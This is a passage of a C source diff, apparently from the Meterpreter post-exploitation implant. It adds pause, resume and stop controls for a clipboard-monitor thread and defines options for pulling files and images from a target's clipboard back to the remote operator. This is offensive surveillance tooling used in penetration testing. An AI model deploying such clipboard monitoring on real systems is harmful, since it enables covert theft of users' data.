+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Thread failed to start correctly", ERROR_ABANDONED_WAIT_0);
+		}
+
+		dwResult = ERROR_SUCCESS;
+	} while (0);
+
+	if (dwResult != ERROR_SUCCESS)
+	{
+		destroy_clipboard_monitor_state(pState);
+		gClipboardState = NULL;
+	}
+
+	packet_transmit_empty_response(remote, packet, dwResult);
+
+	return dwResult;
+#else
+	return ERROR_NOT_SUPPORTED;
+#endif
+}
+
+DWORD clipboard_monitor_pause(ClipboardState* pState)
+{
+	if (pState->bRunning)
+	{
+		event_signal(pState->hPauseEvent);
+		event_poll(pState->hResponseEvent, INFINITE);
+	}
+
+	return ERROR_SUCCESS;
+}
+
+DWORD clipboard_monitor_resume(ClipboardState* pState)
+{
+	if (!pState->bRunning)
+	{
+		event_signal(pState->hResumeEvent);
+		event_poll(pState->hResponseEvent, INFINITE);
+	}
+
+	return ERROR_SUCCESS;
+}
+
+DWORD request_clipboard_monitor_pause(Remote *remote, Packet *packet)
+{
+#ifdef _WIN32
+	DWORD dwResult = ERROR_SUCCESS;
+
+	do
+	{
+		if (gClipboardState == NULL)
+		{
+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOTHING_TO_TERMINATE);
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Pausing clipboard monitor");
+
+		dwResult = clipboard_monitor_pause(gClipboardState);
+	} while (0);
+
+	packet_transmit_empty_response(remote, packet, dwResult);
+
+	return dwResult;
+#else
+	return ERROR_NOT_SUPPORTED;
+#endif
+}
+
+DWORD request_clipboard_monitor_resume(Remote *remote, Packet *packet)
+{
+#ifdef _WIN32
+	DWORD dwResult = ERROR_SUCCESS;
+
+	do
+	{
+		if (gClipboardState == NULL)
+		{
+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOTHING_TO_TERMINATE);
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Resuming clipboard monitor");
+
+		dwResult = clipboard_monitor_resume(gClipboardState);
+	} while (0);
+
+	packet_transmit_empty_response(remote, packet, dwResult);
+
 	return dwResult;
 #else
 	return ERROR_NOT_SUPPORTED;
@@ -459,6 +954,37 @@ DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet)
 {
 #ifdef _WIN32
 	DWORD dwResult = ERROR_SUCCESS;
+
+	do
+	{
+		if (gClipboardState == NULL)
+		{
+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOTHING_TO_TERMINATE);
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Starting clipboard monitor");
+
+		// resume in case we're paused
+		clipboard_monitor_resume(gClipboardState);
+
+		// now stop the show
+		event_signal(gClipboardState->hThread->sigterm);
+
+		// if they don't terminate in a reasonable period of time...
+		if (!event_poll(gClipboardState->hResponseEvent, 10000))
+		{
+			// ... FINISH HIM!
+			dprintf("[EXTAPI CLIPBOARD] Brutally terminating the thread for not responding fast enough");
+			thread_kill(gClipboardState->hThread);
+		}
+
+		destroy_clipboard_monitor_state(gClipboardState);
+		gClipboardState = NULL;
+		dwResult = ERROR_SUCCESS;
+	} while (0);
+
+	packet_transmit_empty_response(remote, packet, dwResult);
+
 	return dwResult;
 #else
 	return ERROR_NOT_SUPPORTED;
diff --git a/c/meterpreter/source/extensions/extapi/clipboard.h b/c/meterpreter/source/extensions/extapi/clipboard.h
index 143490f4..f6bef2bf 100644
--- a/c/meterpreter/source/extensions/extapi/clipboard.h
+++ b/c/meterpreter/source/extensions/extapi/clipboard.h
@@ -8,6 +8,8 @@
 DWORD request_clipboard_set_data(Remote *remote, Packet *packet);
 DWORD request_clipboard_get_data(Remote *remote, Packet *packet);
 DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet);
+DWORD request_clipboard_monitor_pause(Remote *remote, Packet *packet);
+DWORD request_clipboard_monitor_resume(Remote *remote, Packet *packet);
 DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet);
 
 #endif
diff --git a/c/meterpreter/source/extensions/extapi/extapi.c b/c/meterpreter/source/extensions/extapi/extapi.c
index 3e36e675..8b1f2e8b 100644
--- a/c/meterpreter/source/extensions/extapi/extapi.c
+++ b/c/meterpreter/source/extensions/extapi/extapi.c
@@ -26,6 +26,8 @@ Command customCommands[] =
 	COMMAND_REQ("extapi_clipboard_get_data", request_clipboard_get_data),
 	COMMAND_REQ("extapi_clipboard_set_data", request_clipboard_set_data),
 	COMMAND_REQ("extapi_clipboard_monitor_start", request_clipboard_monitor_start),
+	COMMAND_REQ("extapi_clipboard_monitor_pause", request_clipboard_monitor_pause),
+	COMMAND_REQ("extapi_clipboard_monitor_resume", request_clipboard_monitor_resume),
 	COMMAND_REQ("extapi_clipboard_monitor_stop", request_clipboard_monitor_stop),
 	COMMAND_TERMINATOR
 };
diff --git a/c/meterpreter/source/extensions/extapi/extapi.h b/c/meterpreter/source/extensions/extapi/extapi.h
index e62a3735..c0d2a335 100644
--- a/c/meterpreter/source/extensions/extapi/extapi.h
+++ b/c/meterpreter/source/extensions/extapi/extapi.h
@@ -42,4 +42,8 @@
 #define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY  MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT,      TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 47)
 #define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA  MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW,       TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 48)
 
+#define TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_FILES   MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL,      TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 49)
+#define TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_IMAGES  MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL,      TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 50)
+#define TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS        MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING,    TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 51)
+
 #endif